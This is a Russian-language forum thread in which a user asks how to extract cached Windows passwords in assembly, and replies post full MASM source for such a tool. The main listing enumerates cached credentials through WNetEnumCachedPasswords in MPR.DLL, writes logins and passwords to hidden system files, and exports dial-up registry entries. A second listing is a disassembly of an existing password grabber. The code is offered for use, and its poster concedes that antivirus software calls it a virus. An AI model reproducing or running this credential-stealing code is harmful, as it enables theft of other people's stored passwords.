Если кто знает как из под ассемблера выдрать кешерованные пароли , ивообще любые какие возможно выдрать из системы???

Помагите плизз

Для 95,98 и 2000 винды в инете полно прог, выгребающих пароли пользователей, работающих в этой системе. Я такую нашел через google, ключевое слово - PWL.

попробуй следующий код, написано было для того чтобы выдирать пароли и сохранять их на дискете. Правда некоторые проги ругаются на это и кричат что это вирус, отчасти это верно.
.386
.model flat,stdcall
option casemap:none

include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\comdlg32.inc
include C:\masm32\include\shell32.inc
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\comdlg32.lib
includelib C:\masm32\lib\shell32.lib

pwdextract PROTO :DWORD,:DWORD
.const
MAXSIZE equ 260
.data
hMapFile HANDLE 0
fMtStrinG db "%lu",0
open db "open",0
prefix db "A:\",0 ;нет необходимости
suffix db "A.txt",0
suffix2 db "B.txt",0
szLibName db 'MPR.DLL',0
szProcName db 'WNetEnumCachedPasswords',0
szSeparator db ' ',10,13
Title0 db '--==AsmPasswordExtractor==--',0
Title1 db 'Вот так, без выебонов, мы делаем охуенное дело!',0


nameregedit db "\regedit.EXE",0 ; buffer for command line
commandregeditprefix db "/E ",0
commandregeditsuffix db "B.txt HKEY_CURRENT_USER\RemoteAccess\Addresses",0

Source1 db "Domain",0
Source3 db "Network source",0
Source4 db "MAPI source",0
Source6 db "RAS connection",0
Source19 db "Internet source",0



.data?
hFileRead HANDLE ?
hFileWrite HANDLE ?
SizeWritten DWORD ?
file1 dd ?
dd 256 dup (?)
file2 dd ?
dd 256 dup (?)
file3 dd ?
dd 256 dup (?)
commandreg dd ?
dd 256 dup (?)
hConsole dd ?
hLib dd ?
iNumberWritten dd ?
hPass dd ?
prefixwin dd ?
dd 256 dup (?)
qqq dd ?
dd 256 dup (?)
www dd ?
dd 256 dup (?)
NamePasType dd 256 dup (?)
LongOfString dd 256 dup (?)
StartOfString dd 256 dup (?)
AppPathBuffer dd 256 dup (?)
LongLogin dd ?
dd ?
LongPassword dd ?
dd ?
TypeLogin dd ?
dd ?
.code
start:


invoke GetModuleFileName,0,ADDR AppPathBuffer,128 ; return length in eax

mov ecx,offset AppPathBuffer
lea ecx,[ecx+eax-6] ; add length to ecx - 6

; -----------------------------------------
; read backwards until first "\" character
; -----------------------------------------

@@:
mov al,[ecx] ; load byte at address in ECX
dec ecx ; dec ECX
cmp al,'\' ; compare if "\"
jne @B ; jump back to @@: if not "\"

mov byte ptr [ecx+2],0 ; write zero terminator after "\"
; invoke MessageBox,0,ADDR AppPathBuffer,ADDR AppPathBuffer,MB_OK ;выводит логин


invoke GetTickCount ;
invoke wsprintf,ADDR qqq,ADDR fMtStrinG,eax ;


invoke lstrcat,ADDR commandreg,ADDR commandregeditprefix ;
invoke lstrcat,ADDR commandreg,ADDR AppPathBuffer ;
invoke lstrcat,ADDR commandreg,ADDR qqq ;
invoke lstrcat,ADDR commandreg,ADDR commandregeditsuffix ;
invoke GetWindowsDirectory,ADDR prefixwin,MAX_PATH ;
invoke lstrcat,ADDR file2,ADDR prefixwin ;
invoke lstrcat,ADDR file2,ADDR nameregedit ;
invoke ShellExecute,0,offset open,offset file2,offset commandreg,0,SW_NORMAL ;
invoke lstrcat,ADDR file3,ADDR AppPathBuffer ;
invoke lstrcat,ADDR file3,ADDR qqq ;
invoke lstrcat,ADDR file3,ADDR suffix2 ;
invoke SetFileAttributes,ADDR file3,FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN

;invoke lstrcat,ADDR file1,ADDR prefix ;
invoke lstrcat,ADDR file1,ADDR AppPathBuffer ;
invoke lstrcat,ADDR file1,ADDR qqq ;
invoke lstrcat,ADDR file1,ADDR suffix ;

invoke CreateFile,ADDR file1, GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN,NULL
mov [hConsole], eax

invoke WriteFile, [hConsole], ADDR Title0,28, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Title1,47, Offset iNumberWritten, 0


invoke LoadLibraryA,ADDR szLibName ; Load library

or eax, eax ; just error handling
jz exit_program ; exit if error occured
mov [hLib], eax

invoke GetProcAddress,eax,ADDR szProcName ;get procedure address handle of .dll pointer to procedure name
mov [hPass],eax


push 0
push [Offset pwdextract]
push 255
push 0
push NULL
call [hPass] ;call WNetEnumCachedPasswords

cmp eax,259
je end_enumeration
cmp eax,0
jne end_enumeration


end_enumeration:

invoke FreeLibrary,[hLib] ; free library
invoke CloseHandle,[hConsole]
exit_program:
invoke ExitProcess,0


pwdextract proc pointer:DWORD,
HERNIA:DWORD


; Тип ресурса
mov ebx, [pointer]
lea eax, [ebx+7]
mov ebx, dword ptr [eax]
xor eax,eax
mov al,bl
mov TypeLogin,eax



.if TypeLogin == 1
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source1,6, Offset iNumberWritten, 0
.endif
.if TypeLogin == 3
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source3,14, Offset iNumberWritten, 0
.endif
.if TypeLogin == 4
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source4,11, Offset iNumberWritten, 0
.endif
.if TypeLogin == 6
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source6,14, Offset iNumberWritten, 0
.endif
.if TypeLogin == 19
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source19,15, Offset iNumberWritten, 0
.endif




; длина логина
mov ebx, [pointer]
lea eax, [ebx+2]
mov ebx, dword ptr [eax]
xor eax,eax
mov ax,bx
mov LongLogin,eax
; длина Пароля
mov ebx, [pointer]
lea eax, [ebx+4]
mov ebx, dword ptr [eax]
xor eax,eax
mov ax,bx
mov LongPassword,eax


push esi
push edi

mov ebx, [pointer]
lea eax, [ebx+8]


mov esi, eax ; source string address
mov edi, offset www ; sub string buffer address
add esi, 0 ; add starting position to esi
mov ecx, LongLogin ; put length in ecx
rep movsb ; write ln bytes to sub string buffer

mov al, 0 ; add terminator
stosb
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR www,LongLogin, Offset iNumberWritten, 0

pop edi
pop esi



push esi
push edi

mov ebx, [pointer]
lea eax, [ebx+8]


mov esi, eax ; source string address
mov edi, offset www ; sub string buffer address
add esi, LongLogin ; add starting position to esi
mov ecx, LongPassword ; put length in ecx
rep movsb ; write ln bytes to sub string buffer

mov al, 0 ; add terminator
stosb
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR www,LongPassword, Offset iNumberWritten, 0

pop edi
pop esi


mov eax,1


ret
pwdextract endp

end start

Andron ты мне помог без гранично , но обьясни там в коде все правильно но создается только один файл в котором только данные из реестра!!!
А самих паролей как таковых нету!!!

ПОЧЕМУ???????

Andron ты мне помог без гранично , но обьясни там в коде все правильно но создается только один файл в котором только данные из реестра!!!
А самих паролей как таковых нету!!!

ПОЧЕМУ???????

; Вот посмотри мож поможет. Это результат моего дессамблирования
; проги Get Cached Passwords 1.0 by iken
;
; GCP Info:
; ''''''''
; Coded by: iken
; MaiL: acipton@lacasilla.com.ar
; uRL: http://acipton.cjb.net/
; DaTe: Oct 23rd, 2001
;----------------------------------------------------------------
.386
.model flat, stdcall
option casemap :none

include include\windows.inc
include include\user32.inc
include include\kernel32.inc
includelib lib\user32.lib
includelib lib\kernel32.lib


.const
szPwd_txt db 'pwd.txt',0
szFileName db 'MPR.DLL',0
WnetEnumCachedP db 'WNetEnumCachedPasswords',0
szFormat db 0Dh,0Ah
db '%s:%s',0
.data?
szNumOfBytes dd ?
szLogin db 100h dup(?)
szPass db 100h dup(?)
szBuf db 1000h dup(?)
.code
start:
call Prepare
cmp eax, 0FFFFFFFFh
jnz short @exit
lea edi, szBuf
mov ecx, eax
lea esi, szPwd_txt
;invoke MessageBox, 0, edi, esi, 0
;call Save
@exit:
invoke ExitProcess, 0

Prepare proc near
invoke LoadLibraryA, offset szFileName
or eax, eax
jz short @false
invoke GetProcAddress, eax, offset WnetEnumCachedP
or eax, eax
jz short @false
push eax
lea eax, szBuf
mov szNumOfBytes, eax
pop eax
push 0
push offset Dump
push 0FFh
push 0
push 0
call eax
or eax, eax
jz short @true
xor eax, eax
jmp short @false
@true:
mov eax, szNumOfBytes
sub eax, offset szBuf
retn
@false:
mov eax, 0FFFFFFFFh
retn
Prepare endp

Dump proc
push ebp
mov ebp, esp
push ecx
push edx
push esi
push edi
mov esi, [ebp+8]
movzx ecx, word ptr [esi+2]
add esi, 8
mov edi, offset szLogin
rep movsb
mov byte ptr [edi], 0
invoke MessageBox, 0, edi, edi, 0
mov esi, [ebp+8]
movzx ecx, word ptr [esi+4]
movzx edx, word ptr [esi+2]
add esi, 8
add esi, edx
mov edi, offset szPass
rep movsb
mov byte ptr [edi], 0
invoke wsprintf, offset szBuf, offset szFormat, offset szLogin, offset szPass
add esp, 10h
add szNumOfBytes, eax
mov eax, 1
pop edi
pop esi
pop edx
pop ecx
leave
ret
Dump endp

Save proc near
push ecx
invoke CreateFile, esi, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL ,1
pop ecx
push eax
invoke WriteFile, eax, edi, ecx , offset szNumOfBytes, NULL
pop eax
invoke CloseHandle, eax
ret
Save endp
end start

emelard,
второй файл с паролями hidden :)